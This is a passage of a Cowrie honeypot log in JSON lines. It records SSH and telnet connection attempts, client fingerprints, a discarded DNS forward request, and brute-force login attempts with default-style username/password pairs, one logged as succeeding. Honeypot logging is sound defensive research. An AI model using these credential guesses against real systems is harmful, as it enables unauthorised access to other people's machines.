om","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.388118Z","src_ip":"189.194.140.170","session":"b448ee2e8177","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.404348Z","src_ip":"87.251.64.176","session":"97e67e7e8474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.515901Z","src_ip":"87.251.64.176","session":"97e67e7e8474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:04.821958Z","src_ip":"189.194.140.170","session":"b448ee2e8177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:05.924420Z","src_ip":"189.194.140.170","session":"b448ee2e8177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":49188,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ae45c39a82","protocol":"ssh","message":"New connection: 189.194.140.170:49188 (159.203.135.109:22) [session: d1ae45c39a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:06.004455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:06.014550Z","src_ip":"189.194.140.170","session":"d1ae45c39a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:06.113279Z","src_ip":"189.194.140.170","session":"d1ae45c39a82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:06.489527Z","src_ip":"189.194.140.170","session":"d1ae45c39a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:06.588298Z","src_ip":"189.194.140.170","session":"103428845a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:06.594911Z","src_ip":"189.194.140.170","session":"d1ae45c39a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48714,"dst_ip":"159.203.135.109","dst_port":23,"session":"8792d4374853","protocol":"telnet","message":"New connection: 142.93.2.99:48714 (159.203.135.109:23) [session: 8792d4374853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:08.273345Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52610,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9913d2b69b","protocol":"telnet","message":"New connection: 142.93.2.99:52610 (159.203.135.109:23) [session: df9913d2b69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:09.056711Z"}
{"eventid":"cowrie.session.closed","duration":33.343629598617554,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:11.257630Z","src_ip":"142.93.2.99","session":"72ce1d74a4f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54964,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6af52d7c992","protocol":"telnet","message":"New connection: 142.93.2.99:54964 (159.203.135.109:23) [session: b6af52d7c992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:11.454991Z"}
{"eventid":"cowrie.session.closed","duration":31.20169758796692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:14.154969Z","src_ip":"142.93.2.99","session":"45b6caa36999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.534343242645264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:15.821559Z","src_ip":"104.245.105.2","session":"1b84c8fe3e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.57063126564026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:19.515996Z","src_ip":"142.93.2.99","session":"01bcc7f329da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35350,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9b9161da550","protocol":"telnet","message":"New connection: 142.93.2.99:35350 (159.203.135.109:23) [session: f9b9161da550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:20.087674Z"}
{"eventid":"cowrie.session.closed","duration":33.40197777748108,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:22.291137Z","src_ip":"142.93.2.99","session":"2277f8adaeaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38798,"dst_ip":"159.203.135.109","dst_port":23,"session":"02d7ce9bc6fb","protocol":"telnet","message":"New connection: 142.93.2.99:38798 (159.203.135.109:23) [session: 02d7ce9bc6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:23.702568Z"}
{"eventid":"cowrie.session.closed","duration":31.99828553199768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:23.899460Z","src_ip":"142.93.2.99","session":"5cf6e4cd12b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07062387466431,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:25.691952Z","src_ip":"142.93.2.99","session":"ed1cbbeb4454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2cf9f15c20f","protocol":"telnet","message":"New connection: 142.93.2.99:41038 (159.203.135.109:23) [session: e2cf9f15c20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:26.070292Z"}
{"eventid":"cowrie.session.closed","duration":32.33149814605713,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:28.047512Z","src_ip":"142.93.2.99","session":"19ae238c0ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46962,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00c81ed16b5","protocol":"telnet","message":"New connection: 142.93.2.99:46962 (159.203.135.109:23) [session: e00c81ed16b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:32.728660Z"}
{"eventid":"cowrie.session.closed","duration":33.110652923583984,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:35.064590Z","src_ip":"142.93.2.99","session":"0e2afab35ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50398,"dst_ip":"159.203.135.109","dst_port":23,"session":"953bc992b2aa","protocol":"telnet","message":"New connection: 142.93.2.99:50398 (159.203.135.109:23) [session: 953bc992b2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:36.684368Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":49496,"dst_ip":"159.203.135.109","dst_port":22,"session":"29cc5dbf00cc","protocol":"ssh","message":"New connection: 186.233.118.22:49496 (159.203.135.109:22) [session: 29cc5dbf00cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:40.136642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:40.140728Z","src_ip":"186.233.118.22","session":"29cc5dbf00cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:40.259947Z","src_ip":"186.233.118.22","session":"29cc5dbf00cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678Qq","message":"login attempt [root/12345678Qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:40.768025Z","src_ip":"186.233.118.22","session":"29cc5dbf00cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:41.889855Z","src_ip":"186.233.118.22","session":"29cc5dbf00cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83695650100708,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:42.110206Z","src_ip":"142.93.2.99","session":"8792d4374853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.34784555435181,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:42.404423Z","src_ip":"142.93.2.99","session":"df9913d2b69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55548,"dst_ip":"159.203.135.109","dst_port":23,"session":"9107a962abaa","protocol":"telnet","message":"New connection: 142.93.2.99:55548 (159.203.135.109:23) [session: 9107a962abaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:42.860510Z"}
{"eventid":"cowrie.session.closed","duration":33.65020704269409,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:45.105059Z","src_ip":"142.93.2.99","session":"b6af52d7c992","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57174,"dst_ip":"159.203.135.109","dst_port":23,"session":"22f325e35fc5","protocol":"telnet","message":"New connection: 142.93.2.99:57174 (159.203.135.109:23) [session: 22f325e35fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:45.757377Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60876,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa3a9d729b35","protocol":"telnet","message":"New connection: 142.93.2.99:60876 (159.203.135.109:23) [session: aa3a9d729b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:49.349885Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60944,"dst_ip":"159.203.135.109","dst_port":23,"session":"a70dab05b784","protocol":"telnet","message":"New connection: 142.93.2.99:60944 (159.203.135.109:23) [session: a70dab05b784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:52.473724Z"}
{"eventid":"cowrie.session.closed","duration":33.04373788833618,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:53.131296Z","src_ip":"142.93.2.99","session":"f9b9161da550","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":36726,"dst_ip":"159.203.135.109","dst_port":22,"session":"2245889a2b60","protocol":"ssh","message":"New connection: 189.194.140.170:36726 (159.203.135.109:22) [session: 2245889a2b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:55.619288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:55.624402Z","src_ip":"189.194.140.170","session":"2245889a2b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:55.723108Z","src_ip":"189.194.140.170","session":"2245889a2b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#qwe","message":"login attempt [root/123qwe!@#qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:56.136925Z","src_ip":"189.194.140.170","session":"2245889a2b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:57.243025Z","src_ip":"189.194.140.170","session":"2245889a2b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56890106201172,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:57.271173Z","src_ip":"142.93.2.99","session":"02d7ce9bc6fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.246845722198486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:58.317014Z","src_ip":"142.93.2.99","session":"e2cf9f15c20f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38056,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ab81f4a803","protocol":"telnet","message":"New connection: 142.93.2.99:38056 (159.203.135.109:23) [session: b9ab81f4a803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:59.457441Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39806,"dst_ip":"159.203.135.109","dst_port":23,"session":"50b9dde0a801","protocol":"telnet","message":"New connection: 142.93.2.99:39806 (159.203.135.109:23) [session: 50b9dde0a801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:15:59.869445Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40910,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cedd2978f93","protocol":"telnet","message":"New connection: 142.93.2.99:40910 (159.203.135.109:23) [session: 9cedd2978f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:00.384700Z"}
{"eventid":"cowrie.session.closed","duration":33.37601947784424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:06.104573Z","src_ip":"142.93.2.99","session":"e00c81ed16b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.255.16.129","src_port":7838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b425e15af7b0","protocol":"telnet","message":"New connection: 72.255.16.129:7838 (10.17.0.5:23) [session: b425e15af7b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:07.561982Z"}
{"eventid":"cowrie.session.closed","duration":33.715232372283936,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:10.399469Z","src_ip":"142.93.2.99","session":"953bc992b2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46938,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6d1528d77d","protocol":"telnet","message":"New connection: 142.93.2.99:46938 (159.203.135.109:23) [session: ab6d1528d77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:10.529298Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50930,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f8d63b416c8","protocol":"telnet","message":"New connection: 142.93.2.99:50930 (159.203.135.109:23) [session: 4f8d63b416c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:15.535615Z"}
{"eventid":"cowrie.session.closed","duration":33.417810678482056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:16.278207Z","src_ip":"142.93.2.99","session":"9107a962abaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53104,"dst_ip":"159.203.135.109","dst_port":23,"session":"4628f6dfcc03","protocol":"telnet","message":"New connection: 142.93.2.99:53104 (159.203.135.109:23) [session: 4628f6dfcc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:17.302047Z"}
{"eventid":"cowrie.session.closed","duration":32.72593593597412,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:18.483167Z","src_ip":"142.93.2.99","session":"22f325e35fc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.020822525024414,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:20.582685Z","src_ip":"72.255.16.129","session":"b425e15af7b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56174,"dst_ip":"159.203.135.109","dst_port":23,"session":"61ebc6dff1c6","protocol":"telnet","message":"New connection: 142.93.2.99:56174 (159.203.135.109:23) [session: 61ebc6dff1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:21.086056Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56188,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef9247f4a8fe","protocol":"telnet","message":"New connection: 142.93.2.99:56188 (159.203.135.109:23) [session: ef9247f4a8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:22.113499Z"}
{"eventid":"cowrie.session.closed","duration":34.1812949180603,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:23.531094Z","src_ip":"142.93.2.99","session":"aa3a9d729b35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9271240234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:24.400744Z","src_ip":"142.93.2.99","session":"a70dab05b784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60330,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4ef15793e1","protocol":"telnet","message":"New connection: 142.93.2.99:60330 (159.203.135.109:23) [session: eb4ef15793e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:27.075378Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46878,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf1f766f599","protocol":"telnet","message":"New connection: 104.245.105.2:46878 (10.17.0.5:23) [session: cbf1f766f599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:29.634817Z"}
